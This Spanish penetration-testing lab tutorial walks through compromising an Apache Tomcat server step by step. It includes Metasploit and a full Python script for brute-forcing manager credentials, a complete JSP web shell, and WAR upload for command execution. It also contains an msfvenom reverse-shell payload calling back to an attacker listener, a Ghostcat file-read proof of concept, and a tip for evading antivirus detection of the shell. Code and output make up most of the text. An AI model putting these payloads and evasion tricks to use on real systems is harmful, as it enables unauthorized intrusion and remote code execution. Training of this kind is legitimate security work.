Saltar a contenido

Attacking Tomcat

Hemos identificado que efectivamente hay un host Tomcat expuesto externamente por nuestro cliente. Dado que el alcance de la evaluación es relativamente pequeño y todos los demás objetivos no son particularmente interesantes, centremos toda nuestra atención en intentar obtener acceso interno a través de Tomcat.

Como se discutió en la sección anterior, si podemos acceder a los endpoints /manager o /host-manager, probablemente podremos lograr la ejecución remota de código en el servidor Tomcat. Comencemos por hacer fuerza bruta en la página del administrador de Tomcat en la instancia de Tomcat en http://web01.inlanefreight.local:8180. Podemos usar el módulo de Metasploit auxiliary/scanner/http/tomcat_mgr_login para estos fines, Burp Suite Intruder o cualquier número de scripts para lograr esto. Utilizaremos Metasploit para nuestros propósitos.


Tomcat Manager - Fuerza Bruta de Login

Primero tenemos que configurar algunas opciones. Nuevamente, debemos especificar el vhost y la dirección IP del objetivo para interactuar correctamente con el objetivo. También debemos establecer STOP_ON_SUCCESS en true para que el escáner se detenga cuando obtengamos un inicio de sesión exitoso, no tiene sentido generar un montón de solicitudes adicionales después de un inicio de sesión exitoso.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.129.201.58

Como siempre, verificamos que todo esté configurado correctamente con show options.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting                                                                 Required  Description
   ----              ---------------                                                                 --------  -----------
   BLANK_PASSWORDS   false                                                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                               yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                           no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                           no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                           no        Add all users in the current database to the list
   PASSWORD                                                                                          no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            10.129.201.58                                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             8180                                                                            yes       The target port (TCP)
   SSL               false                                                                           no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   true                                                                            yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html                                                                   yes       URI for Manager login. Default is /manager/html
   THREADS           1                                                                               yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                          no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                           no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt     no        File containing users, one per line
   VERBOSE           true                                                                            yes       Whether to print output for all attempts
   VHOST             web01.inlanefreight.local                                                       no        HTTP server virtual host

Ejecutamos run y obtenemos una coincidencia para el par de credenciales tomcat:admin.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: root:vagrant (Incorrect)
[+] 10.129.201.58:8180 - Login Successful: tomcat:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Es importante notar que existen muchas herramientas disponibles para nosotros como pentesters. Muchas existen para hacer nuestro trabajo más eficiente, especialmente porque la mayoría de las pruebas de penetración tienen un "time-boxed" o están bajo estrictas limitaciones de tiempo. Ninguna herramienta es mejor que otra, y no nos hace un "mal" pentester si usamos ciertas herramientas como Metasploit a nuestro favor. Siempre y cuando entendamos cada escáner y script de explotación que ejecutamos y los riesgos, entonces utilizar este escáner correctamente no es diferente de usar Burp Intruder o escribir un script en Python personalizado. Algunos dicen: "trabaja más inteligentemente, no más duro". ¿Por qué nos haríamos trabajo extra durante una evaluación de 40 horas con 1,500 hosts en el alcance cuando podemos usar una herramienta específica para ayudarnos? Es vital que entendamos cómo funcionan nuestras herramientas y cómo hacer muchas cosas manualmente. Podríamos intentar manualmente cada par de credenciales en el navegador o escribir esto usando cURL o Python si así lo elegimos. Como mínimo, si decidimos usar una herramienta específica, deberíamos ser capaces de explicar su uso e impacto potencial a nuestros clientes si nos preguntan durante o después de la evaluación.

Digamos que un módulo particular de Metasploit (u otra herramienta) está fallando o no se comporta de la manera que creemos que debería. Siempre podemos usar Burp Suite o ZAP para proxear el tráfico y solucionar problemas. Para hacer esto, primero, inicia Burp Suite y luego establece la opción PROXIES de la siguiente manera:

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PROXIES HTTP:127.0.0

.1:8080

PROXIES => HTTP:127.0.0.1:8080

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:admin (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:manager (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:root (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 10.129.201.58:8180 - LOGIN FAILED: role1:admin (Incorrect)

Podemos ver en Burp exactamente cómo está funcionando el escáner, teniendo en cuenta cada par de credenciales y la codificación base64 para la autenticación básica que usa Tomcat.

image

Una verificación rápida del valor en el encabezado Authorization para una solicitud muestra que el escáner está funcionando correctamente, codificando en base64 las credenciales admin:vagrant de la misma manera que lo haría la aplicación Tomcat cuando un usuario intenta iniciar sesión directamente desde la aplicación web. Prueba esto para algunos ejemplos a lo largo de este módulo para empezar a familiarizarte con la depuración a través de un proxy.

echo YWRtaW46dmFncmFudA== |base64 -d

admin:vagrant

También podemos usar este script en Python para lograr el mismo resultado.

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

Este es un script muy sencillo que toma algunos argumentos. Podemos ejecutar el script con -h para ver qué necesita para ejecutarse.

python3 mgr_brute.py  -h

usage: mgr_brute.py [-h] -U URL -P PATH -u USERNAMES -p PASSWORDS

Tomcat manager or host-manager credential bruteforcing

optional arguments:
  -h, --help            show this help message and exit
  -U URL, --url URL     URL to tomcat page
  -P PATH, --path PATH  manager or host-manager URI
  -u USERNAMES, --usernames USERNAMES
                        Users File
  -p PASSWORDS, --passwords PASSWORDS
                        Passwords Files

Podemos probar el script con los usuarios y contraseñas predeterminados de Tomcat que utiliza el módulo de Metasploit anterior. Lo ejecutamos y obtenemos un acierto.

python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

[+] Atacking.....

[+] Success!!
[+] Username : b'tomcat'
[+] Password : b'admin'

Si estás interesado en la creación de scripts, revisa los módulos Introduction to Python 3 y Introduction to Bash Scripting. Un ejercicio interesante sería crear nuestros propios scripts de fuerza bruta para el login de Tomcat Manager usando Python y Bash, pero dejaremos ese ejercicio para ti.


Tomcat Manager - Carga de Archivo WAR

Muchas instalaciones de Tomcat proporcionan una interfaz GUI para gestionar la aplicación. Esta interfaz está disponible en /manager/html por defecto, a la que solo pueden acceder los usuarios asignados al rol manager-gui. Las credenciales válidas de manager pueden usarse para cargar una aplicación empaquetada de Tomcat (.WAR) y comprometer la aplicación. Un WAR, o Web Application Archive, se usa para implementar rápidamente aplicaciones web y para almacenamiento de respaldo.

Después de realizar un ataque de fuerza bruta y responder a las preguntas 1 y 2 a continuación, navega a http://web01.inlanefreight.local:8180/manager/html e ingresa las credenciales.

La aplicación web del manager nos permite desplegar instantáneamente nuevas aplicaciones cargando archivos WAR. Un archivo WAR puede crearse usando la utilidad zip. Un web shell JSP como este puede descargarse y colocarse dentro del archivo.

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 

  adding: cmd.jsp (deflated 81%)

Haz clic en Browse para seleccionar el archivo .war y luego haz clic en Deploy.

image

Este archivo se carga en la GUI del manager, después de lo cual la aplicación /backup se añadirá a la tabla.

Si hacemos clic en backup, seremos redirigidos a http://web01.inlanefreight.local:8180/backup/ y obtendremos un

error 404 Not Found. Necesitamos especificar también el archivo cmd.jsp en la URL. Navegar a http://web01.inlanefreight.local:8180/backup/cmd.jsp nos presentará un web shell que podemos usar para ejecutar comandos en el servidor Tomcat. Desde aquí, podríamos actualizar nuestro web shell a un shell reverso interactivo y continuar. Como en ejemplos anteriores, podemos interactuar con este web shell a través del navegador o usando cURL en la línea de comandos. ¡Prueba ambos!

curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

</pre>
</BODY></HTML>

Para limpiar después de nosotros, podemos volver a la página principal del Tomcat Manager y hacer clic en el botón Undeploy junto a la aplicación backup después, por supuesto, de anotar el archivo y la ubicación de la carga para nuestro informe, que en nuestro ejemplo es /opt/tomcat/apache-tomcat-10.0.10/webapps. Si hacemos un ls en ese directorio desde nuestro web shell, veremos el archivo backup.war cargado y el directorio backup que contiene el script cmd.jsp y META-INF creado después de que la aplicación se despliegue. Hacer clic en Undeploy generalmente eliminará el archivo WAR cargado y el directorio asociado con la aplicación.

También podríamos usar msfvenom para generar un archivo WAR malicioso. El payload java/jsp_shell_reverse_tcp ejecutará un shell reverso a través de un archivo JSP. Navega a la consola de Tomcat y despliega este archivo. Tomcat extraerá automáticamente el contenido del archivo WAR y lo desplegará.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Payload size: 1098 bytes
Final size of war file: 1098 bytes

Inicia un listener de Netcat y haz clic en /backup para ejecutar el shell.

nc -lnvp 4443

listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 45224

id

uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

El módulo de Metasploit multi/http/tomcat_mgr_upload se puede usar para automatizar el proceso mostrado arriba, pero dejaremos esto como un ejercicio para el lector.

Este web shell JSP es muy ligero (menos de 1 kb) y utiliza un Bookmarklet o marcador del navegador para ejecutar el JavaScript necesario para la funcionalidad del web shell y la interfaz de usuario. Sin él, navegar a un cmd.jsp cargado no renderizaría nada. Esta es una excelente opción para minimizar nuestra huella y posiblemente evadir las detecciones de los web shells JSP estándar (aunque es posible que sea necesario modificar un poco el código JSP).

El web shell tal como está solo es detectado por 2/58 proveedores de antivirus.

image

Un cambio simple como cambiar:

FileOutputStream(f);stream.write(m);o="Uploaded:

a:

FileOutputStream(f);stream.write(m);o="uPlOaDeD:

resulta en 0/58 proveedores de seguridad marcando el archivo cmd.jsp como malicioso al momento de escribir esto.


Una Nota Rápida sobre Web shells

Cuando subimos web shells (especialmente en externos), queremos prevenir el acceso no autorizado. Debemos tomar ciertas medidas como un nombre de archivo aleatorio (es decir, hash MD5), limitar el acceso a nuestra dirección IP de origen e incluso protegerlo con contraseña. No queremos que un atacante encuentre nuestro web shell y lo utilice para obtener su propio punto de apoyo.


CVE-2020-1938: Ghostcat

Se descubrió que Tomcat era vulnerable a un LFI no autenticado en un descubrimiento semi-reciente llamado Ghostcat. Todas las versiones de Tomcat antes de 9.0.31, 8.5.51 y 7.0.100 eran vulnerables. Esta vulnerabilidad fue causada por una mala configuración en el protocolo AJP utilizado por Tomcat. AJP significa Apache Jserv Protocol, que es un protocolo binario utilizado para proxiacionar solicitudes. Esto se utiliza típicamente en la proxiación de solicitudes a servidores de aplicaciones detrás de los servidores web frontales.

El servicio AJP generalmente se ejecuta en el puerto 8009 en un servidor Tomcat. Esto se puede verificar con un escaneo dirigido de Nmap.

nmap -sV -p 8009,8080 app-dev.inlanefreight.local

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 20:05 EDT
Nmap scan report for app-dev.inlanefreight.local (10.129.201.58)
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 9.0.30

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds

El escaneo anterior confirma que los puertos 8080 y 8009 están abiertos. El código PoC para la vulnerabilidad se puede encontrar aquí. Descarga el script y guárdalo localmente. El exploit solo puede leer archivos y carpetas dentro de la carpeta web apps, lo que significa que archivos como /etc/passwd no se pueden acceder. Intentemos acceder al archivo web.xml.

python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml 

Getting resource at ajp13://app-dev.inlanefreight.local:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>

</web-app>

En algunas instalaciones de Tomcat, podríamos acceder a datos sensibles dentro del archivo WEB-INF.


Continuando

Tomcat siempre es un gran hallazgo en pruebas de penetración internas y externas. Siempre que lo encontremos, debemos probar el área del Tomcat Manager para ver si tiene credenciales débiles/predeterminadas. Si podemos iniciar sesión, podemos convertir rápidamente este acceso en ejecución remota de código. Es común encontrar Tomcat ejecutándose como usuarios de alto privilegio, como SYSTEM o root, por lo que siempre vale la pena investigarlo, ya que podría proporcionarnos un punto de apoyo privilegiado en un servidor Linux o en un servidor Windows unido a un dominio en un entorno de Active Directory.